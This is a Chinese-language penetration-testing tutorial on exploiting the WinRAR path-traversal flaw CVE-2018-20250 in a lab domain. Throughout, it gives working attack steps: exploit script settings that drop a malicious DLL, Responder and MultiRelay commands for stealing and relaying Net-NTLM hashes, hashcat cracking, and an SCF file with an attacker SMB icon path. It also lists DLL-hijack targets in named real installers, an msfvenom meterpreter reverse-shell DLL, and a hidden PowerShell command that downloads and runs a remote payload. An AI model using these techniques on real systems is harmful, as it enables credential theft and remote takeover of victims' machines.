渗透测试-apt攻击与防御系列-利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持
apt攻击与防御系列
- 利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持
- 漏洞利用
- 获取受害者的Net-NTLM Hash
- 使⽤HashCat来暴⼒破解
- 域控
- 释放SCF⽂件
- 借助下载⽂件夹安装程序DLL劫持
- 投放LNK⽂件
致敬亮神-2019
利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持
域控:Windows 2008 R2
目标主机:Windows7*2
漏洞利用
- 穿透目录释放文件到开机启动菜单
- 获取受害者的Net NTLM Hash
- 借助下载文件夹安装程序DLL劫持
- 投放恶意的 LNK 文件
获取受害者的Net-NTLM Hash
⼯具:responder、hashcat
https://github.com/lgandx/responder/
https://hashcat.net/hashcat/
⼯作组⼯具:https://github.com/WyAtu/CVE-2018-20250
把下⾯的target_filename中的IP地址改成攻击者的就可以了。
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "WinRAR.dll"
# The decompression path you want, such shown below
target_filename = r"C:\\\x.x.x.x\smb\SHFOLDER.dll"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
查看配置⽂件 /usr/share/responder/Responder.conf ,检查SMB服务是否为On。
使⽤的⽹卡是vboxnet0,需要root权限。通过使⽤参数-I指定⽹卡运⾏
sudo responder -I vboxnet0 -wrfv --lm
有主机通过SMB共享访问了我的Arch,并获取到了⽤⼾名和Net NTLM
Hash。
获取到Net NTLM Hash之后
使⽤HashCat来暴⼒破解
就我的Intel 的破CPU都能跑1277.4 kH/s
不过之前要安装OpenCL的库,如果是⽤显卡跑就更快了。
把最后⼀个Hash复制出来
查看加密算法模块对应的编号,上⾯看到的是 NTLMv2 ,所以我们使⽤5600
~ hashcat --help|grep NTLM
5500 | NetNTLMv1 | Network Protocols
5500 | NetNTLMv1+ESS | Network Protocols
5600 | NetNTLMv2 | Network Protocols
1000 | NTLM | Operating Systems
截图上⾯我标记出来的就是密码了,
只要你的字典够强⼤,我的字典只有⼀万⾏,⼀秒都不⽤就跑完了。
拿到密码就可以登录上去或者执⾏各种命令都是可以的。
域控
如果⽬标是域控就可以使⽤Hash中继
来直接登录域内的主机。
还是打开responder的配置⽂件,这次是把HTTP和SMB服务改成Off,
因为等⼀下⽤到另⼀个⼯具的时候要监听445和80端⼝。
⼯具:MultiRelay.py,在responder的tool⽬录下。
最好先切换到responder⽬录下,
因为在获取到Windows的Shell的时候要使⽤MultiRelay⽬录⾥的⼯具。
~ cd /usr/share/responder/tools
sudo python2 ./MultiRelay.py -t 192.168.56.106 -u ALL
-t后⾯接着是你想攻击主机的IP地址,
-u是⽤⼾名,这⾥选择所有,就是ALL。
再打开⼀个终端,执⾏
➜ ~ sudo responder -I vboxnet0 -wrfv --lm
现在只要域控访问了Arch监听的SMB服务,
就可以获取域控的Net NTLM Hash,这样就可以登录域内的主机了,基本是指哪打哪。
拿到了主机权限,可以读取明⽂密码。
但是这⾥上传到主机 的被⽕绒拦截了。
释放SCF⽂件
还有⼀种释放.scf⽂件获取⽬标的Net NTLM Hash的,
释放到磁盘的根⽬录,只要打开我的电脑就会访问攻击 者的SMB服务,
获取Hash⼀把梭。
新建⼀个⽂本后缀改为.scf,把下⾯的内容复制进去,
IP地址改为攻击者的。
添加进压缩包,其实解压到能看到的地⽅都可以触发。
[Shell] Command=2
IconFile=\\x.x.x.x\icon.ico
[Taskbar] Command=ToggleDesktop
当然还有desktop.ini、autorun.inf这些可以设置icon图标和设置⽂件夹的背景图⽚的,
也可以使⽤file协议远程 加载攻击者的SMB服务
借助下载⽂件夹安装程序DLL劫持
因为WinRAR这个跨⽂件⽬录释放的漏洞本来就不怎么容易利⽤,
⽽且DLL劫持也需要知道别⼈电脑⾥有什么软件,
还得知道别⼈装的软件哪⾥存在DLL劫持。这真的是难上加难了。所以下⾯的思路仅供脑补,会有很多很多假设。
既然我们不知道⽬标主机上有什么软件,那就要找⼀个⽐较通⽤的DLL,然后发现很多安装包程序就存在很多DLL劫持漏洞,
在测试时发现了阿⾥⼏个客⼾端都存在DLL劫持,
甚⾄连我想安装的⽕绒杀毒软件也存在同样的问题。
那我就推测是不是打包成安装包的⼯具有问题。
下⾯是我测试安装包,存在DLL劫持的,我只是测试了⼏个,这么巧,这⼏个都存在DLL劫持。
旺旺客⼾端的
C:\Windows\system32\CRYPTBASE.dll
C:\Windows\system32\WindowsCodecs.dll
C:\Windows\system32\SspiCli.dll
C:\Windows\system32\dwmapi.dll
C:\Windows\system32\ntmarta.dll
C:\Windows\system32\dnsapi.DLL
C:\Windows\system32\iphlpapi.DLL
C:\Windows\system32\RASAPI32.dll
C:\Windows\system32\rtutils.dll
C:\Windows\system32\sensapi.dll
C:\Windows\system32\rasadhlp.dll
C:\Windows\system32\VERSION.dll
千⽜客⼾端的
C:\Windows\system32\CRYPTBASE.dll
C:\Windows\system32\SHFOLDER.DLL
C:\Windows\system32\ntmarta.dll
C:\Windows\system32\dwmapi.dll
钉钉还有⽕绒也差不多和上⾯的⼀样,但是在测试时卡死了N次
在测试了上⾯⼏个安装包后统计出来⼀个特点,
你会发现DLL全部是⼤写字⺟的,⾮常的通⽤,SHFOLDER.DLL
可以⽀持三个安装包的劫持效果。
旺旺的可以使⽤RASAPI32.dll。 释放到下载⽬录的部分代码。
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "WinRAR.dll"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../Downloads\SHFOLDER.dll"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
⽽且这些安装包会在⼀个⽐较固定的⽬录,那就是下载⽂件夹。
假设我利⽤WinRAR的跨⽬录释放了⼀个DLL到 了下载⽂件夹这个⽬录,
然后⽤⼾从上⾯这些客⼾端的安装包官⽅⽹站下载的正常⽂件回来,下载完了直接点 击打开运⾏,这样就会加载我释放出来的DLL,达到攻击的⽬的。
下⾯图⽚中是千⽜客⼾端的安装包加载下载⽬录中的DLL后打开了计算器,
在模块列表中看到是加载了攻击者的DLL。
⼯具:⼀个DLL⽂件。
msfvenom -p windows/meterpreter/reverse_tcp LPORT=7788 LHOST=192.168.56.1 -a x86 -f dll >WinRAR.dll
MSF⽣成⼀个DLL
有⼀个问题劫持了之后安装包不能正常运⾏,这是DLL的问题,⾃⼰写的应该就不会了。
或者使⽤CobaltStrike⽣成的DLL可以正常安装,
但是要做好进程迁移,因为安装包结束了,⼦进程也会跟着关 闭,这样就控制不了了
投放LNK⽂件
在CobaltStrike⾥使⽤PowerShell远程加载。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.56.109:80/a'))"
⼀般弄⼀个常⻅的快捷键什么都会被杀毒软件拦截。
参考
https://github.com/incredibleindishell/Windows-AD-environment-related/tree/master/Responder
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/